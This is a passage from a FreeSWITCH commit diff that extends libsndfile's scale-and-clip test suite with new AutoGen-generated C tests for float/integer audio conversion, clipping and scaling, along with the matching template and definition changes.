+	data_out = buffer_out.dbl ;
+	data_in = buffer_in.i ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = 0.995 * sin (4 * M_PI * k / BUFFER_SIZE) ;
+	data_out [BUFFER_SIZE / 8] = 1.0 ;
+	data_out [3 * BUFFER_SIZE / 8] = -1.000000001 ;
+	data_out [5 * BUFFER_SIZE / 8] = 1.0 ;
+	data_out [7 * BUFFER_SIZE / 8] = -1.000000001 ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	/* Save unclipped data to the file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_double_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_FLOAT_INT_READ, NULL, SF_TRUE) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	sf_command (file, SFC_SET_CLIPPING, NULL, SF_TRUE) ;
+	test_read_int_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+	/*-sf_command (file, SFC_SET_NORM_DOUBLE, NULL, SF_FALSE) ;-*/
+	sf_close (file) ;
+
+	/* Check the first half. */
+	max_value = 0 ;
+	for (k = 0 ; k < sfinfo.frames ; k++)
+	{	/* Check if data_out has different sign from data_in. */
+		if ((data_out [k] < 0.0 && data_in [k] > 0) || (data_out [k] > 0.0 && data_in [k] < 0))
+		{	printf ("\n\nLine %d: Data wrap around at index %d/%d  (%f -> %d).\n\n", __LINE__, k, BUFFER_SIZE, data_out [k], data_in [k]) ;
+			exit (1) ;
+			} ;
+		max_value = (max_value > abs (data_in [k])) ? max_value : abs (data_in [k]) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* dbl_int_clip_read_test */
+
+
+/*==============================================================================
+*/
+
+
+static void short_flt_scale_write_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	short		*data_out ;
+	float	*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("short_flt_clip_write_test", filename) ;
+
+	data_out = buffer_out.s ;
+	data_in = buffer_in.flt ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = lrintf (0x7FFFF * 0.995 * sin (4 * M_PI * k / BUFFER_SIZE)) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_short_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_TRUE) ;
+	test_write_short_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_FALSE) ;
+	test_write_short_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != 3 * BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, 3 * BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	/* Check the first section. */
+	test_read_float_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the second section. */
+	test_read_float_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value > 1.0)
+	{	printf ("\n\nLine %d: Max value (%f) > 1.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the third section. */
+	test_read_float_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* short_flt_scale_write_test */
+static void short_dbl_scale_write_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	short		*data_out ;
+	double	*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("short_dbl_clip_write_test", filename) ;
+
+	data_out = buffer_out.s ;
+	data_in = buffer_in.dbl ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = lrint (0x7FFFF * 0.995 * sin (4 * M_PI * k / BUFFER_SIZE)) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_short_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_TRUE) ;
+	test_write_short_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_FALSE) ;
+	test_write_short_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != 3 * BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, 3 * BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	/* Check the first section. */
+	test_read_double_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the second section. */
+	test_read_double_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value > 1.0)
+	{	printf ("\n\nLine %d: Max value (%f) > 1.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the third section. */
+	test_read_double_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* short_dbl_scale_write_test */
+
+static void int_flt_scale_write_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	int		*data_out ;
+	float	*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("int_flt_clip_write_test", filename) ;
+
+	data_out = buffer_out.i ;
+	data_in = buffer_in.flt ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = lrintf (0x7FFFFFFF * 0.995 * sin (4 * M_PI * k / BUFFER_SIZE)) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_int_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_TRUE) ;
+	test_write_int_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_FALSE) ;
+	test_write_int_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != 3 * BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, 3 * BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	/* Check the first section. */
+	test_read_float_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the second section. */
+	test_read_float_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value > 1.0)
+	{	printf ("\n\nLine %d: Max value (%f) > 1.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the third section. */
+	test_read_float_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* int_flt_scale_write_test */
+static void int_dbl_scale_write_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	int		*data_out ;
+	double	*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("int_dbl_clip_write_test", filename) ;
+
+	data_out = buffer_out.i ;
+	data_in = buffer_in.dbl ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = lrint (0x7FFFFFFF * 0.995 * sin (4 * M_PI * k / BUFFER_SIZE)) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_int_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_TRUE) ;
+	test_write_int_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_FALSE) ;
+	test_write_int_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != 3 * BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, 3 * BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	/* Check the first section. */
+	test_read_double_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the second section. */
+	test_read_double_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value > 1.0)
+	{	printf ("\n\nLine %d: Max value (%f) > 1.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the third section. */
+	test_read_double_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* int_dbl_scale_write_test */
+
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,19 +1,35 @@
 autogen definitions scale_clip_test.tpl;
 
 float_type = {
-	type_name	= "float" ;
-	short_name	= "flt" ;
-	upper_name	= "FLOAT" ;
+	float_type_name		= "float" ;
+	float_short_name	= "flt" ;
+	float_upper_name	= "FLOAT" ;
+	float_to_int		= "lrintf" ;
 	} ;
 
 float_type = {
-	type_name	= "double" ;
-	short_name	= "dbl" ;
-	upper_name	= "DOUBLE" ;
+	float_type_name		= "double" ;
+	float_short_name	= "dbl" ;
+	float_upper_name	= "DOUBLE" ;
+	float_to_int		= "lrint" ;
 	} ;
 
 
 
+int_type = {
+	int_type_name	= "short" ;
+	int_short_name	= "s" ;
+	int_max_value	= 0x7FFFF ;
+	} ;
+
+int_type = {
+	int_type_name	= "int" ;
+	int_short_name	= "i" ;
+	int_max_value	= 0x7FFFFFFF ;
+	} ;
+
+
+
 data_type = {
 	name		= "16" ;
 	bit_count	= 16 ;
@@ -38,11 +54,3 @@
 	error_val	= "1.0 / 0x80" ;
 	} ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 4938e5b6-6f4c-4c69-8b92-f6c6d7a6b0ec
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/scale_clip_test.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -45,13 +45,27 @@
 
 [+ FOR float_type +]
 [+ FOR data_type
-+]static void	[+ (get "short_name") +]_scale_clip_test_[+ (get "name") +] (const char *filename, int filetype, float maxval) ;
++]static void	[+ (get "float_short_name") +]_scale_clip_test_[+ (get "name") +] (const char *filename, int filetype, float maxval) ;
 [+ ENDFOR data_type
 +][+ ENDFOR float_type +]
 
+[+ FOR float_type +]
+[+ FOR int_type
++]static void [+ (get "float_short_name") +]_[+ (get "int_type_name") +]_clip_read_test (const char *filename, int filetype) ;
+[+ ENDFOR int_type
++][+ ENDFOR float_type +]
+
+[+ FOR int_type +]
+[+ FOR float_type
++]static void [+ (get "int_type_name") +]_[+ (get "float_short_name") +]_scale_write_test (const char *filename, int filetype) ;
+[+ ENDFOR float_type
++][+ ENDFOR int_type +]
+
 typedef union
 {	double	dbl [BUFFER_SIZE] ;
 	float	flt [BUFFER_SIZE] ;
+	int		i [BUFFER_SIZE] ;
+	short	s [BUFFER_SIZE] ;
 } BUFFER ;
 
 /* Data buffer. */
@@ -86,6 +100,16 @@
 	dbl_scale_clip_test_32 ("scale_clip_be32.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_PCM_32, 1.0 * 0x80000000) ;
 	dbl_scale_clip_test_32 ("scale_clip_le32.au", SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_PCM_32, 1.0 * 0x80000000) ;
 
+	flt_short_clip_read_test	("flt_short.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	flt_int_clip_read_test		("flt_int.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	dbl_short_clip_read_test	("dbl_short.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+	dbl_int_clip_read_test		("dbl_int.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+
+	short_flt_scale_write_test	("short_flt.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	int_flt_scale_write_test	("int_flt.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
+	short_dbl_scale_write_test	("short_dbl.au"	, SF_ENDIAN_BIG		| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+	int_dbl_scale_write_test	("int_dbl.au"	, SF_ENDIAN_LITTLE	| SF_FORMAT_AU | SF_FORMAT_DOUBLE) ;
+
 	return 0 ;
 } /* main */
 
@@ -96,20 +120,20 @@
 [+ FOR float_type +]
 [+ FOR data_type
 +]static void
-[+ (get "short_name") +]_scale_clip_test_[+ (get "name") +] (const char *filename, int filetype, float maxval)
+[+ (get "float_short_name") +]_scale_clip_test_[+ (get "name") +] (const char *filename, int filetype, float maxval)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			k ;
-	[+ (get "type_name") +]		*data_out, *data_in ;
+	[+ (get "float_type_name") +]		*data_out, *data_in ;
 	double		diff, clip_max_diff ;
 
-	print_test_name ("[+ (get "short_name") +]_scale_clip_test_[+ (get "name") +]", filename) ;
+	print_test_name ("[+ (get "float_short_name") +]_scale_clip_test_[+ (get "name") +]", filename) ;
 
-	data_out = buffer_out.[+ (get "short_name") +] ;
-	data_in = buffer_in.[+ (get "short_name") +] ;
+	data_out = buffer_out.[+ (get "float_short_name") +] ;
+	data_in = buffer_in.[+ (get "float_short_name") +] ;
 
 	for (k = 0 ; k < HALF_BUFFER_SIZE ; k++)
-	{	data_out [k] = SINE_AMP * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
+	{	data_out [k] = 1.2 * sin (2 * M_PI * k / HALF_BUFFER_SIZE) ;
 		data_out [k + HALF_BUFFER_SIZE] = data_out [k] * maxval ;
 		} ;
 
@@ -126,9 +150,9 @@
 
 	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
 	sf_command (file, SFC_SET_CLIPPING, NULL, SF_TRUE) ;
-	test_write_[+ (get "type_name") +]_or_die (file, 0, data_out, HALF_BUFFER_SIZE, __LINE__) ;
-	sf_command (file, SFC_SET_NORM_[+ (get "upper_name") +], NULL, SF_FALSE) ;
-	test_write_[+ (get "type_name") +]_or_die (file, 0, data_out + HALF_BUFFER_SIZE, HALF_BUFFER_SIZE, __LINE__) ;
+	test_write_[+ (get "float_type_name") +]_or_die (file, 0, data_out, HALF_BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_NORM_[+ (get "float_upper_name") +], NULL, SF_FALSE) ;
+	test_write_[+ (get "float_type_name") +]_or_die (file, 0, data_out + HALF_BUFFER_SIZE, HALF_BUFFER_SIZE, __LINE__) ;
 	sf_close (file) ;
 
 	memset (&buffer_in, 0, sizeof (buffer_in)) ;
@@ -154,9 +178,9 @@
 
 	check_log_buffer_or_die (file, __LINE__) ;
 
-	test_read_[+ (get "type_name") +]_or_die (file, 0, data_in, HALF_BUFFER_SIZE, __LINE__) ;
-	sf_command (file, SFC_SET_NORM_[+ (get "upper_name") +], NULL, SF_FALSE) ;
-	test_read_[+ (get "type_name") +]_or_die (file, 0, data_in + HALF_BUFFER_SIZE, HALF_BUFFER_SIZE, __LINE__) ;
+	test_read_[+ (get "float_type_name") +]_or_die (file, 0, data_in, HALF_BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_NORM_[+ (get "float_upper_name") +], NULL, SF_FALSE) ;
+	test_read_[+ (get "float_type_name") +]_or_die (file, 0, data_in + HALF_BUFFER_SIZE, HALF_BUFFER_SIZE, __LINE__) ;
 	sf_close (file) ;
 
 	/* Check normalized version. */
@@ -223,18 +247,192 @@
 
 	printf ("ok\n") ;
 	unlink (filename) ;
-} /* [+ (get "short_name") +]_scale_clip_test_[+ (get "name") +] */
+} /* [+ (get "float_short_name") +]_scale_clip_test_[+ (get "name") +] */
 
 [+ ENDFOR data_type
 +]
 [+ ENDFOR float_type +]
 
-[+ COMMENT
+/*==============================================================================
+*/
 
- Do not edit or modify anything in this comment block.
- The following line is a file identity tag for the GNU Arch 
- revision control system.
+[+ FOR float_type +]
+[+ FOR int_type
++]static void [+ (get "float_short_name") +]_[+ (get "int_type_name") +]_clip_read_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	[+ (get "float_type_name") +]		*data_out ;
+	[+ (get "int_type_name") +]			*data_in, max_value ;
+	int			k ;
 
- arch-tag: dc1613fe-2985-462c-a0b4-62143a7570e8
+	print_test_name ("[+ (get "float_short_name") +]_[+ (get "int_type_name") +]_clip_read_test", filename) ;
 
-+]
+	data_out = buffer_out.[+ (get "float_short_name") +] ;
+	data_in = buffer_in.[+ (get "int_short_name") +] ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = 0.995 * sin (4 * M_PI * k / BUFFER_SIZE) ;
+	data_out [BUFFER_SIZE / 8] = 1.0 ;
+	data_out [3 * BUFFER_SIZE / 8] = -1.000000001 ;
+	data_out [5 * BUFFER_SIZE / 8] = 1.0 ;
+	data_out [7 * BUFFER_SIZE / 8] = -1.000000001 ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	/* Save unclipped data to the file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_[+ (get "float_type_name") +]_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_FLOAT_INT_READ, NULL, SF_TRUE) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	sf_command (file, SFC_SET_CLIPPING, NULL, SF_TRUE) ;
+	test_read_[+ (get "int_type_name") +]_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+	/*-sf_command (file, SFC_SET_NORM_[+ (get "float_upper_name") +], NULL, SF_FALSE) ;-*/
+	sf_close (file) ;
+
+	/* Check the first half. */
+	max_value = 0 ;
+	for (k = 0 ; k < sfinfo.frames ; k++)
+	{	/* Check if data_out has different sign from data_in. */
